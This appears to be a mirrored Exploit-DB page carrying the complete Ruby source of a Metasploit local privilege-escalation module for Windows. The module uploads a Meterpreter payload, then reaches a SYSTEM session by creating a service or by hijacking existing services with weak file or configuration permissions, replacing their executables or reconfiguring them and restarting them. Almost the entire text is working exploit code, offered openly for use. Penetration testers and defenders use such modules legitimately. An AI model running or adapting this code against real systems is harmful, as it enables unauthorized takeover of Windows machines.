Microsoft Windows – Escalate Service Permissions Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2012-10-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/21994/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    require 'msf/core/post/windows/services'
    require 'rex'
    
    class Metasploit3 < Msf::Exploit::Local
    	Rank = GreatRanking
    
    	include Msf::Post::Windows::WindowsServices
    
    	def initialize(info={})
    		super( update_info( info,
    			'Name'=> 'Windows Escalate Service Permissions Local Privilege Escalation',
    			'Description' => %q{
    				This module attempts to exploit existing administrative privileges to obtain
    				a SYSTEM session. If directly creating a service fails, this module will inspect
    				existing services to look for insecure file or configuration permissions that may
    				be hijacked. It will then attempt to restart the replaced service to run the
    				payload. This will result in a new session when this succeeds. If the module is
    				able to modify the service but does not have permission to start and stop the
    				affected service, the attacker must wait for the system to restart before a
    				session will be created.
    			},
    			'License' => MSF_LICENSE,
    			'Author'=> [ 'scriptjunkie' ],
    			'Arch'=> [ ARCH_X86 ],
    			'Platform'=> [ 'windows' ],
    			'SessionTypes'=> [ 'meterpreter' ],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'thread',
    					'WfsDelay' => '5'
    				},
    			'Targets' =>
    				[
    					[ 'Automatic', { } ],
    				],
    			'DefaultTarget' => 0
    		))
    
    		register_options([
    			OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])
    		])
    
    	end
    
    	def exploit
    		# randomize the filename
    		filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
    
    		# randomize the exe name
    		tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
    
    		raw = payload.encoded
    
    		exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)
    
    		sysdir = session.fs.file.expand_path("%SystemRoot%")
    		tmpdir = session.fs.file.expand_path("%TEMP%")
    
    		print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
    		begin
    			#
    			# Upload the payload to the filesystem
    			#
    			tempexe = tmpdir + "\\" + tempexe_name
    			fd = session.fs.file.new(tempexe, "wb")
    			fd.write(exe)
    			fd.close
    		rescue ::Exception => e
    			print_error("Error uploading file #{filename}: #{e.class} #{e}")
    			return
    		end
    
    		#attempt to make new service
    
    		#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
    
    		print_status("Trying to add a new service...")
    		adv = session.railgun.advapi32
    		manag = adv.OpenSCManagerA(nil,nil,0x10013)
    		if(manag["return"] != 0)
    			# SC_MANAGER_CREATE_SERVICE = 0x0002
    			# SERVICE_START=0x0010SERVICE_WIN32_OWN_PROCESS= 0X00000010
    			# SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
    			newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)),
    				"",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
    			if(newservice["return"] != 0)
    				print_status("Created service... #{newservice["return"]}")
    				ret = adv.StartServiceA(newservice["return"], 0, nil)
    				print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
    				adv.DeleteService(newservice["return"])
    				adv.CloseServiceHandle(newservice["return"])
    				if datastore['AGGRESSIVE'] != true
    					adv.CloseServiceHandle(manag["return"])
    					return
    				end
    			else
    				print_error("Uhoh. service creation failed, but we should have the permissions. :-(")
    			end
    		else
    			print_status("No privs to create a service...")
    			manag = adv.OpenSCManagerA(nil,nil,1)
    			if(manag["return"] == 0)
    				print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
    			end
    		end
    		print_status("Trying to find weak permissions in existing services..")
    		#Search through list of services to find weak permissions, whether file or config
    		serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
    		#for each service
    		service_list.each do |serv|
    			begin
    				srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
    				if srvtype != "16"
    					continue
    				end
    				moved = false
    				configed = false
    				#default path, but there should be an ImagePath registry key
    				source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe")
    				#get path to exe; parse out quotes and arguments
    				sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
    				sourcemaybe = session.fs.file.expand_path(sourceorig)
    				if( sourcemaybe[0] == '"' )
    					sourcemaybe = sourcemaybe.split('"')[1]
    				else
    					sourcemaybe = sourcemaybe.split(' ')[0]
    				end
    				begin
    					session.fs.file.stat(sourcemaybe) #check if it really exists
    					source = sourcemaybe
    				rescue
    					print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
    				end
    				#try to exploit weak file permissions
    				if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
    					session.railgun.kernel32.CopyFileA(tempexe, source, false)
    					print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
    					moved = true
    				end
    				#try to exploit weak config permissions
    				#open with SERVICE_CHANGE_CONFIG (0x0002)
    				servhandleret = adv.OpenServiceA(manag["return"],serv,2)
    				if(servhandleret["return"] != 0)
    					#SERVICE_NO_CHANGE is0xFFFFFFFF
    					if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
    							0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
    						print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
    						configed = true
    					end
    					adv.CloseServiceHandle(servhandleret["return"])
    
    				end
    				if(moved != true && configed != true)
    					print_status("No exploitable weak permissions found on #{serv}")
    					continue
    				end
    				print_status("Restarting #{serv}")
    				#open withSERVICE_START (0x0010) and SERVICE_STOP (0x0020)
    				servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
    				if(servhandleret["return"] != 0)
    					#SERVICE_CONTROL_STOP = 0x00000001
    					if(adv.ControlService(servhandleret["return"],1,56))
    						session.railgun.kernel32.Sleep(1000)
    						adv.StartServiceA(servhandleret["return"],0,nil)
    						print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
    						#Cleanup
    						if moved == true
    							session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
    						end
    						if configed == true
    							servhandleret = adv.OpenServiceA(manag["return"],serv,2)
    							adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
    									0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
    							adv.CloseServiceHandle(servhandleret["return"])
    						end
    					else
    						print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.")
    					end
    					adv.CloseServiceHandle(servhandleret["return"])
    					if datastore['AGGRESSIVE'] != true
    						return
    					end
    				else
    					print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
    				end
    			rescue
    			end
    		end
    	end
    end